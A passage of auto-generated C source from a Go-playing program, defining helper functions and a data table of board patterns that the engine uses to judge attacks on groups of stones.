UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-4, -1, move, transformation); b = offset(-3, -1, move, transformation); return somewhere(color, 1, a, b); } static int autohelperowl_attackpat230(struct pattern *patt, int transformation, int move, int color, int action) { int b, A; UNUSED(patt); UNUSED(color); UNUSED(action); b = offset(-1, -1, move, transformation); A = offset(0, 1, move, transformation); return countlib(A)==2 && !obvious_false_eye(b,OTHER_COLOR(color)); } static int autohelperowl_attackpat236(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); b = offset(-1, -1, move, transformation); return countlib(a)>1 && !obvious_false_eye(b,OTHER_COLOR(color)); } static int autohelperowl_attackpat245(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-2, 1, move, transformation); return countlib(A) == 4 && ATTACK_MACRO(A) != WIN; } static int autohelperowl_attackpat246(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-1, 2, move, transformation); return countlib(A) == 2 && ATTACK_MACRO(A) != WIN; } static int autohelperowl_attackpat247(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-1, 1, move, transformation); return !ATTACK_MACRO(A); } static int autohelperowl_attackpat249(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-2, 0, move, transformation); return !ATTACK_MACRO(A); } static int autohelperowl_attackpat260(struct pattern *patt, int transformation, int move, int color, int action) { int a, A; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, 1, move, transformation); A = offset(-1, 0, move, transformation); return countlib(A)<=3 && DEFEND_MACRO(a) != WIN; } static int autohelperowl_attackpat261(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(2, 1, move, transformation); return play_attack_defend_n(color, 1, 1, a, a); } static int autohelperowl_attackpat262(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); return play_attack_defend_n(color, 0, 2, move, a, move); } static int autohelperowl_attackpat263(struct pattern *patt, int transformation, int move, int color, int action) { int a, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 2, move, transformation); B = offset(0, 2, move, transformation); return !somewhere(OTHER_COLOR(color), 0, a) || (countlib(B) <= 6); } static int autohelperowl_attackpat265(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); b = offset(0, 3, move, transformation); return play_attack_defend_n(color, 1, 1, a, a) != 0 && !play_attack_defend_n(color, 1, 1, a, b); } static int autohelperowl_attackpat266(struct pattern *patt, int transformation, int move, int color, int action) { int a, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, 2, move, transformation); c = offset(0, 1, move, transformation); return play_attack_defend_n(color, 1, 1, a, c) != 0 || play_attack_defend_n(color, 1, 1, a, a); } static int autohelperowl_attackpat267(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, d; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(-1, 2, move, transformation); c = offset(-1, 1, move, transformation); d = offset(0, 2, move, transformation); return !play_attack_defend_n(color, 1, 3, move, a, b, b) && play_attack_defend_n(color, 0, 2, move, c, d); } static int autohelperowl_attackpat279(struct pattern *patt, int transformation, int move, int color, int action) { int a, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-2, -1, move, transformation); B = offset(-2, 1, move, transformation); return countlib(a)==1 && countlib(B)<=3 && DEFEND_MACRO(a)!=WIN; } static int autohelperowl_attackpat282(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, -1, move, transformation); return countlib(A)==2 && accurate_approxlib(move,color, MAX_LIBERTIES, NULL)>1 && finish_ko_helper(A); } static int autohelperowl_attackpat283(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, -1, move, transformation); return countlib(A)==2 && accurate_approxlib(move,color, MAX_LIBERTIES, NULL)>1 && finish_ko_helper(A); } static int autohelperowl_attackpat284(struct pattern *patt, int transformation, int move, int color, int action) { int A, B; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, -1, move, transformation); B = offset(0, 1, move, transformation); return owl_escape_value(A) > 0 || owl_escape_value(B) > 0; } static int autohelperowl_attackpat285(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(0, -1, move, transformation); c = offset(-1, 1, move, transformation); return !safe_move(a,color) && play_attack_defend_n(color, 0, 2, move, a, move) && !play_attack_defend_n(color, 1, 3, move, b, c, c); } static int autohelperowl_attackpat286(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, C; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(0, 1, move, transformation); C = offset(0, 2, move, transformation); return !play_attack_defend_n(color, 0, 3, move, a, b, C); } static int autohelperowl_attackpat287(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, C; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(0, 1, move, transformation); C = offset(0, 2, move, transformation); return !play_attack_defend_n(color, 0, 3, move, a, b, C); } static int autohelperowl_attackpat288(struct pattern *patt, int transformation, int move, int color, int action) { int a, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); B = offset(0, 2, move, transformation); return !play_attack_defend_n(color, 0, 3, move, NO_MOVE, a, B); } static int autohelperowl_attackpat289(struct pattern *patt, int transformation, int move, int color, int action) { int a, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); B = offset(0, 2, move, transformation); return !play_attack_defend_n(color, 0, 3, move, NO_MOVE, a, B); } static int autohelperowl_attackpat290(struct pattern *patt, int transformation, int move, int color, int action) { int a, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); B = offset(0, 2, move, transformation); return !play_attack_defend_n(color, 0, 3, move, NO_MOVE, a, B); } static int autohelperowl_attackpat291(struct pattern *patt, int transformation, int move, int color, int action) { int a, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); B = offset(0, 2, move, transformation); return !play_attack_defend_n(color, 0, 3, move, NO_MOVE, a, B); } static int autohelperowl_attackpat295(struct pattern *patt, int transformation, int move, int color, int action) { int b, c, d, e, f, A; UNUSED(patt); UNUSED(color); UNUSED(action); b = offset(-2, -3, move, transformation); c = offset(0, -1, move, transformation); d = offset(-1, -1, move, transformation); e = offset(-1, -2, move, transformation); f = offset(-1, 0, move, transformation); A = offset(-2, -2, move, transformation); return countlib(A)==3 && !ATTACK_MACRO(b) && !play_attack_defend_n(color, 1, 5, move, c, d, e, f, f); } static int autohelperowl_attackpat296(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, d, e, f; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); b = offset(0, 2, move, transformation); c = offset(0, 1, move, transformation); d = offset(-1, 1, move, transformation); e = offset(-1, 0, move, transformation); f = offset(-1, 3, move, transformation); return play_attack_defend_n(color, 1, 6, move, a, b, c, d, e, e) && !play_attack_defend_n(color, 1, 1, move, f); } static int autohelperowl_attackpat297(struct pattern *patt, int transformation, int move, int color, int action) { int e, A, B, C, D; UNUSED(patt); UNUSED(color); UNUSED(action); e = offset(1, 0, move, transformation); A = offset(2, 3, move, transformation); B = offset(2, 0, move, transformation); C = offset(2, 2, move, transformation); D = offset(1, 1, move, transformation); return countlib(A) > 2 && !play_attack_defend_n(color, 0, 7, move, NO_MOVE, B, NO_MOVE, C, NO_MOVE, D, e); } void init_tree_owl_attackpat(void) { /* nothing to do - tree option not compiled */ } struct pattern owl_attackpat[] = { {owl_attackpat0,19,8, "A1",-1,-2,2,2,3,4,0x2,-1,0, { 0xfdffffff, 0xfcfcfcf4, 0xfffffc00, 0xffffff3f, 0xfcfcfcf0, 0xfffffd00, 0xffffff7f, 0xfcffffff}, { 0x041a0000, 0x00102420, 0x00904000, 0x60100000, 0x24100000, 0x001a0400, 0x00106020, 0x40900000} , 0x1000020,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat0,0,0.010000}, {owl_attackpat1,23,8, "A2",-2,-2,2,2,4,4,0x2,-1,0, { 0xfdffffff, 0xfffffff7, 0xfffffcfc, 0xffffff3f, 0xfffffff0, 0xfffffdff, 0xffffff7f, 0xfcffffff}, { 0x00180000, 0x00102200, 0x00900080, 0x20100000, 0x22100000, 0x00180008, 0x00102000, 0x00900000} , 0x1000000,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat2,15,8, "A3",-1,-2,2,1,3,3,0x2,-1,-1, { 0xf0fcfcfc, 0xfcfcf000, 0xffff3f00, 0x3fffffff, 0xf0fcfcfc, 0xfcfcf000, 0xffff3f00, 0x3fffffff}, { 0x10280000, 0x00242000, 0x00a11000, 0x20600010, 0x20240010, 0x00281000, 0x00602000, 0x10a10000} , 0x1000000,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat3,11,8, "A101",-1,0,2,2,3,2,0x2,0,1, { 0x383f3f3f, 0x00fcf8f0, 0xf0f0b000, 0xbfff0000, 0xf8fc0000, 0x3f3f3800, 0x00ffbf3f, 0xb0f0f0f0}, { 0x10200000, 0x00240000, 0x00201000, 0x00600000, 0x00240000, 0x00201000, 0x00600000, 0x10200000} , 0x1000000,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat4,19,8, "A102",-1,-2,2,2,3,4,0x2,0,1, { 0xfcffffff, 0xfcfcfcf0, 0xffffff00, 0xffffffff, 0xfcfcfcfc, 0xfffffc00, 0xffffff3f, 0xffffffff}, { 0x40902000, 0x24900000, 0x201a0500, 0x00186060, 0x00902424, 0x20904000, 0x60180000, 0x051a2000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat5,13,8, "A103",-2,-2,1,1,3,3,0x2,-1,-1, { 0xfcfcfc00, 0xfffefc00, 0xfcfdfd2c, 0xfcfcfc50, 0xfcfeff14, 0xfcfcfce0, 0xfcfcfc00, 0xfdfdfc00}, { 0x08180000, 0x01102800, 0x00908004, 0xa0100000, 0x28100100, 0x00180840, 0x0010a000, 0x80900000} , 0x1000000,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat6,15,8, "A104",-1,-2,2,1,3,3,0x2,0,-1, { 0xfcfcfcfc, 0xfcfcfc00, 0xfffffc00, 0xffffff3f, 0xfcfcfcf0, 0xfcfcfc00, 0xffffff00, 0xfcffffff}, { 0x04182000, 0x00902400, 0x20904000, 0x60180000, 0x24900000, 0x20180400, 0x00186000, 0x40902000} , 0x1000000,90.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat6,0,0.010000}, {owl_attackpat7,23,8, "A105",-1,-3,2,2,3,5,0x2,0,-1, { 0xf7ffffff, 0xfcfcf4fc, 0xffff7f00, 0x7fffffff, 0xf4fcfcfc, 0xfffff700, 0xffff7fff, 0x7fffffff}, { 0x12200000, 0x00240008, 0x00201000, 0x00600000, 0x00240000, 0x00201200, 0x00600080, 0x10200000} , 0x1000000,99.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat8,13,8, "A106",-2,-2,1,1,3,3,0x2,-1,0, { 0xfcfcfc00, 0xfffcfc00, 0xffffff0c, 0xfcfcfcfc, 0xfcfcfffc, 0xfcfcfcc0, 0xfcfcfc00, 0xffffff00}, { 0x04240000, 0x02201400, 0x00624008, 0x50200020, 0x14200220, 0x00240480, 0x00205000, 0x40620000} , 0x1000000,60.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat9,16,8, "A107",-1,0,2,4,3,4,0x2,0,2, { 0x3f3f3f3f, 0x00fcfcfc, 0xf0f0f000, 0xffff0000, 0xfcfc0000, 0x3f3f3f00, 0x00ffffff, 0xf0f0f0f0}, { 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000} , 0x1000000,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat10,9,8, "A108",-1,-1,1,1,2,2,0x2,-1,-1, { 0xf4f4fc00, 0xfcfcd400, 0xfc7c7c00, 0x5cfcfc00, 0xd4fcfc00, 0xfcf4f400, 0xfcfc5c00, 0x7c7cfc00}, { 0x00600000, 0x10200000, 0x00240000, 0x00201000, 0x00201000, 0x00600000, 0x10200000, 0x00240000} , 0x1000020,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat11,12,8, "A109",-1,0,2,2,3,2,0x2,0,1, { 0x2e3f3f3f, 0x00f8fcf8, 0xf0f0e000, 0xffbf0000, 0xfcf80000, 0x3f3f2e00, 0x00bfffbf, 0xe0f0f0f0}, { 0x04200000, 0x00200400, 0x00204000, 0x40200000, 0x04200000, 0x00200400, 0x00204000, 0x40200000} , 0x1000000,79.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat11,3,0.016000}, {owl_attackpat12,16,8, "A110",-1,-1,2,2,3,3,0x2,0,1, { 0xfeffffff, 0xfcfcfcf8, 0xfcfcfc00, 0xffffff00, 0xfcfcfc00, 0xfffffe00, 0xffffffbf, 0xfcfcfcfc}, { 0x4090a000, 0xa4900000, 0x28180400, 0x00186800, 0x0090a400, 0xa0904000, 0x68180000, 0x04182800} , 0x1000000,85.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat13,18,8, "A111",-2,0,2,3,4,3,0x2,0,2, { 0x0f3f1f3f, 0x0070fffe, 0xd0f0c0c0, 0xff370000, 0xff700000, 0x1f3f0f0e, 0x0037ffff, 0xc0f0d0f0}, { 0x00200000, 0x00200100, 0x00200040, 0x00200000, 0x01200000, 0x00200004, 0x00200000, 0x00200000} , 0x1000000,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat14,15,8, "A112",-1,-2,2,1,3,3,0x2,0,-1, { 0xf0fcfcfc, 0xfcfcf000, 0xffff3f00, 0x3fffffff, 0xf0fcfcfc, 0xfcfcf000, 0xffff3f00, 0x3fffffff}, { 0x10280000, 0x00242000, 0x00a11000, 0x20600010, 0x20240010, 0x00281000, 0x00602000, 0x10a10000} , 0x1000000,79.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat14,3,0.010000}, {owl_attackpat15,15,8, "A113",-2,-3,1,0,3,3,0x8,0,-1, { 0xf0f0c000, 0xfd3f0000, 0x0f3f3f37, 0x00f0fcfc, 0x003ffdff, 0xc0f0f070, 0xfcf00000, 0x3f3f0f00}, { 0x00108000, 0x80120000, 0x08100020, 0x00100800, 0x00128000, 0x80100020, 0x08100000, 0x00100800} , 0x1000000,99.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat16,15,8, "A114",0,-2,3,1,3,3,0x8,2,0, { 0x00fcfcfc, 0xf0f0f000, 0xffff0000, 0x3f3f3f3f, 0xf0f0f0f0, 0xfcfc0000, 0x3f3f3f00, 0x00ffffff}, { 0x00200004, 0x00200000, 0x00200000, 0x01200000, 0x00200000, 0x00200000, 0x00200100, 0x00200040} , 0x1000000,99.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat17,19,8, "A115",0,-3,3,1,3,4,0x2,1,-1, { 0x00f0fcfc, 0xf0f0c000, 0xff3f0000, 0x0f3f3f3f, 0xc0f0f0f0, 0xfcf00000, 0x3f3f0f00, 0x003fffff}, { 0x00200800, 0x00208000, 0x80200000, 0x08200000, 0x80200000, 0x08200000, 0x00200800, 0x00208000} , 0x1000000,85.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat17,3,0.010000}, {owl_attackpat18,20,8, "A201",-1,-2,2,2,3,4,0x2,1,2, { 0xffffffff, 0xfcfcfcfc, 0xffffff00, 0xffffffff, 0xfcfcfcfc, 0xffffff00, 0xffffffff, 0xffffffff}, { 0x40942800, 0x24909000, 0xa05a0500, 0x18186060, 0x90902424, 0x28944000, 0x60181800, 0x055aa000} , 0x1000000,60.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat18,0,1.600000}, {owl_attackpat19,9,8, "A203",-1,-2,1,1,2,3,0x2,0,-1, { 0xc0f4fc00, 0xfcf0d000, 0xff7d0c00, 0x1c3cfc1c, 0xd0f0fcd0, 0xfcf4c000, 0xfc3c1c00, 0x0c7dff00}, { 0x40200800, 0x04208000, 0x80200400, 0x08204000, 0x80200400, 0x08204000, 0x40200800, 0x04208000} , 0x1000000,60.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat20,10,8, "A204",0,-2,2,2,2,4,0x2,1,0, { 0x0030fcff, 0xc0f0c000, 0xff300000, 0x0f3f0f0f, 0xc0f0c0c0, 0xfc300000, 0x0f3f0f03, 0x0030ffff}, { 0x00100800, 0x00108000, 0x80100000, 0x08100000, 0x80100000, 0x08100000, 0x00100800, 0x00108000} , 0x1000000,60.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat21,8,8, "A205",-1,-1,1,1,2,2,0x2,0,1, { 0x38fcfc00, 0xf0fcf800, 0xfcfcb000, 0xbcfc3c00, 0xf8fcf000, 0xfcfc3800, 0x3cfcbc00, 0xb0fcfc00}, { 0x10a00000, 0x20240000, 0x00281000, 0x00602000, 0x00242000, 0x00a01000, 0x20600000, 0x10280000} , 0x1000000,60.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat22,8,8, "A205b",-1,-1,1,1,2,2,0x2,0,1, { 0x38fcfc00, 0xf0fcf800, 0xfcfcb000, 0xbcfc3c00, 0xf8fcf000, 0xfcfc3800, 0x3cfcbc00, 0xb0fcfc00}, { 0x10a01000, 0x20640000, 0x10281000, 0x00642000, 0x00642000, 0x10a01000, 0x20640000, 0x10281000} , 0x1000000,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat23,10,8, "A206",-1,-1,2,1,3,2,0x2,1,1, { 0x30f8fcfc, 0xf0fce000, 0xfcbc3000, 0x2fff3f00, 0xe0fcf000, 0xfcf83000, 0x3fff2f00, 0x30bcfcfc}, { 0x10902000, 0x20940000, 0x20181000, 0x00582000, 0x00942000, 0x20901000, 0x20580000, 0x10182000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat24,11,8, "A206b",-1,-1,2,1,3,2,0x2,1,1, { 0x3cfcfcfc, 0xf0fcfc00, 0xfcfcf000, 0xffff3f00, 0xfcfcf000, 0xfcfc3c00, 0x3fffff00, 0xf0fcfcfc}, { 0x04902000, 0x20900400, 0x20184000, 0x40182000, 0x04902000, 0x20900400, 0x20184000, 0x40182000} , 0x1000000,78.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat25,9,8, "A207",0,0,2,2,2,2,0x2,1,1, { 0x003f3f3f, 0x00f0f0f0, 0xf0f00000, 0x3f3f0000, 0xf0f00000, 0x3f3f0000, 0x003f3f3f, 0x00f0f0f0}, { 0x00120000, 0x00100020, 0x00100000, 0x00100000, 0x00100000, 0x00120000, 0x00100020, 0x00100000} , 0x1000000,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat26,11,8, "A207b",0,-2,2,1,2,3,0x2,1,-1, { 0x00f4f4f0, 0xf0f05000, 0x7f7f0000, 0x143f3f3f, 0x50f0f0f0, 0xf4f40000, 0x3f3f1400, 0x007f7f3f}, { 0x00200000, 0x00200000, 0x00210000, 0x00200010, 0x00200010, 0x00200000, 0x00200000, 0x00210000} , 0x1000000,58.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat27,13,8, "A207c",0,-2,2,2,2,4,0x2,1,-1, { 0x00f5f5f0, 0xf0f05050, 0x7f7f0000, 0x143f3f3f, 0x50f0f0f0, 0xf5f50000, 0x3f3f1414, 0x007f7f3f}, { 0x00200000, 0x00200000, 0x00210000, 0x00200010, 0x00200010, 0x00200000, 0x00200000, 0x00210000} , 0x1000000,78.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat28,9,8, "A208a",-1,-2,1,0,2,2,0x2,0,-2, { 0xf0f0a000, 0xbcbc0000, 0x2b3f3f00, 0x00f8f8fc, 0x00bcbcfc, 0xa0f0f000, 0xf8f80000, 0x3f3f2b00}, { 0x20200000, 0x00280000, 0x00202100, 0x00a00040, 0x00280004, 0x00202000, 0x00a00000, 0x21200000} , 0x1000000,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat29,11,8, "A209",-1,-1,1,2,2,3,0x2,0,1, { 0x3a7f7f00, 0x50fcf8f8, 0xf4f4b000, 0xbcfc1400, 0xf8fc5000, 0x7f7f3a00, 0x14fcbcbc, 0xb0f4f400}, { 0x10200000, 0x00240000, 0x00201000, 0x00600000, 0x00240000, 0x00201000, 0x00600000, 0x10200000} , 0x1000000,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat29,3,0.010000}, {owl_attackpat30,13,8, "A210",-1,-1,1,3,2,4,0x2,0,1, { 0x3c7f7f00, 0x50fcfcf0, 0xf4f4f000, 0xfcfc1400, 0xfcfc5000, 0x7f7f3c00, 0x14fcfc3c, 0xf0f4f400}, { 0x14200000, 0x00240400, 0x00205000, 0x40600000, 0x04240000, 0x00201400, 0x00604000, 0x50200000} , 0x1000000,85.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat30,3,0.010000}, {owl_attackpat31,13,8, "A211",0,-1,3,2,3,3,0x2,2,1, { 0x0038bfbf, 0x80f0e0c0, 0xf8b00000, 0x2f3f0a00, 0xe0f08000, 0xbf380000, 0x0a3f2f0f, 0x00b0f8f8}, { 0x00100200, 0x00100080, 0x00100000, 0x00100000, 0x00100000, 0x02100000, 0x00100008, 0x00100000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat32,11,8, "A214",-1,-1,1,2,2,3,0x1,0,1, { 0xffff7c00, 0x7cfcfc3c, 0xf4fcfc00, 0xfcfcf400, 0xfcfc7c00, 0x7cffff00, 0xf4fcfcf0, 0xfcfcf400}, { 0x00902400, 0x20904000, 0x60180000, 0x04182000, 0x40902000, 0x24900000, 0x20180400, 0x00186000} , 0x1000000,85.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat32,0,0.010000}, {owl_attackpat33,14,8, "A215",-1,-1,2,2,3,3,0x2,1,0, { 0x2d3f7fff, 0x40f8fcf4, 0xf4f0e000, 0xffbf0700, 0xfcf84000, 0x7f3f2d00, 0x07bfff7f, 0xe0f0f4fc}, { 0x041a0000, 0x00102420, 0x00904000, 0x60100000, 0x24100000, 0x001a0400, 0x00106020, 0x40900000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat34,10,8, "A216",-1,-1,2,1,3,2,0x2,1,1, { 0x0cfcfcfc, 0xf0f0fc00, 0xfcfcc000, 0xff3f3f00, 0xfcf0f000, 0xfcfc0c00, 0x3f3fff00, 0xc0fcfcfc}, { 0x04a40000, 0x20201400, 0x00684000, 0x50202000, 0x14202000, 0x00a40400, 0x20205000, 0x40680000} , 0x1000000,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat35,10,8, "A216b",-1,-1,2,1,3,2,0x2,1,0, { 0x0cfcfcfc, 0xf0f0fc00, 0xfcfcc000, 0xff3f3f00, 0xfcf0f000, 0xfcfc0c00, 0x3f3fff00, 0xc0fcfcfc}, { 0x04a40000, 0x20201400, 0x00684000, 0x50202000, 0x14202000, 0x00a40400, 0x20205000, 0x40680000} , 0x1000000,60.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat35,3,1.000000}, {owl_attackpat36,11,8, "A217",0,-1,2,2,2,3,0x2,1,0, { 0x003fffff, 0xc0f0f0f0, 0xfcf00000, 0x3f3f0f00, 0xf0f0c000, 0xff3f0000, 0x0f3f3f3f, 0x00f0fcfc}, { 0x001a0000, 0x00102020, 0x00900000, 0x20100000, 0x20100000, 0x001a0000, 0x00102020, 0x00900000} , 0x1000000,40.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat37,11,8, "A217b",0,-1,2,2,2,3,0x2,1,0, { 0x003fffff, 0xc0f0f0f0, 0xfcf00000, 0x3f3f0f00, 0xf0f0c000, 0xff3f0000, 0x0f3f3f3f, 0x00f0fcfc}, { 0x001a0000, 0x00102020, 0x00900000, 0x20100000, 0x20100000, 0x001a0000, 0x00102020, 0x00900000} , 0x1000000,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat37,0,0.010000}, {owl_attackpat38,12,8, "A217c",0,-1,2,2,2,3,0x2,1,0, { 0x00ffffff, 0xf0f0f0f0, 0xfcfc0000, 0x3f3f3f00, 0xf0f0f000, 0xffff0000, 0x3f3f3f3f, 0x00fcfcfc}, { 0x001a0000, 0x00102020, 0x00900000, 0x20100000, 0x20100000, 0x001a0000, 0x00102020, 0x00900000} , 0x1000000,60.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat38,0,3.000000}, {owl_attackpat39,16,8, "A218",-1,-1,2,2,3,3,0x2,1,0, { 0xffffffff, 0xfcfcfcfc, 0xfcfcfc00, 0xffffff00, 0xfcfcfc00, 0xffffff00, 0xffffffff, 0xfcfcfcfc}, { 0x051a0000, 0x00102424, 0x00904000, 0x60100000, 0x24100000, 0x001a0500, 0x00106060, 0x40900000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat40,13,8, "A219",-1,-1,2,2,3,3,0x2,1,1, { 0xfcfcfffc, 0xfcfcfcc0, 0xfcfcfc00, 0xffffff00, 0xfcfcfc00, 0xfffcfc00, 0xffffff0c, 0xfcfcfcfc}, { 0x40902000, 0x24900000, 0x20180400, 0x00186000, 0x00902400, 0x20904000, 0x60180000, 0x04182000} , 0x1000010,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat40,0,0.277760}, {owl_attackpat41,11,8, "A220",-2,-1,1,2,3,3,0x2,0,1, { 0x177fff00, 0xd0f4f4fc, 0xfcf45000, 0x7c7c1c00, 0xf4f4d000, 0xff7f1700, 0x1c7c7cfc, 0x50f4fc00}, { 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat41,3,0.376000}, {owl_attackpat42,11,8, "A221",-2,-1,1,3,3,4,0x2,0,2, { 0x177fff00, 0xd0f4f4fc, 0xfcf45000, 0x7c7c1c00, 0xf4f4d000, 0xff7f1700, 0x1c7c7cfc, 0x50f4fc00}, { 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000} , 0x1000000,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat42,3,0.010000}, {owl_attackpat43,19,8, "A222",-2,-2,1,3,3,5,0x2,0,1, { 0xeaffff00, 0xfefbfaf8, 0xffffacb8, 0xbcbcfc3c, 0xfafbfef0, 0xffffeab8, 0xfcbcbcbc, 0xacffff00}, { 0x40608000, 0x94210000, 0x08260410, 0x00205820, 0x00219420, 0x80604010, 0x58200000, 0x04260800} , 0x1000000,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat44,9,8, "A223",0,0,2,2,2,2,0x2,1,2, { 0x003f3f3f, 0x00f0f0f0, 0xf0f00000, 0x3f3f0000, 0xf0f00000, 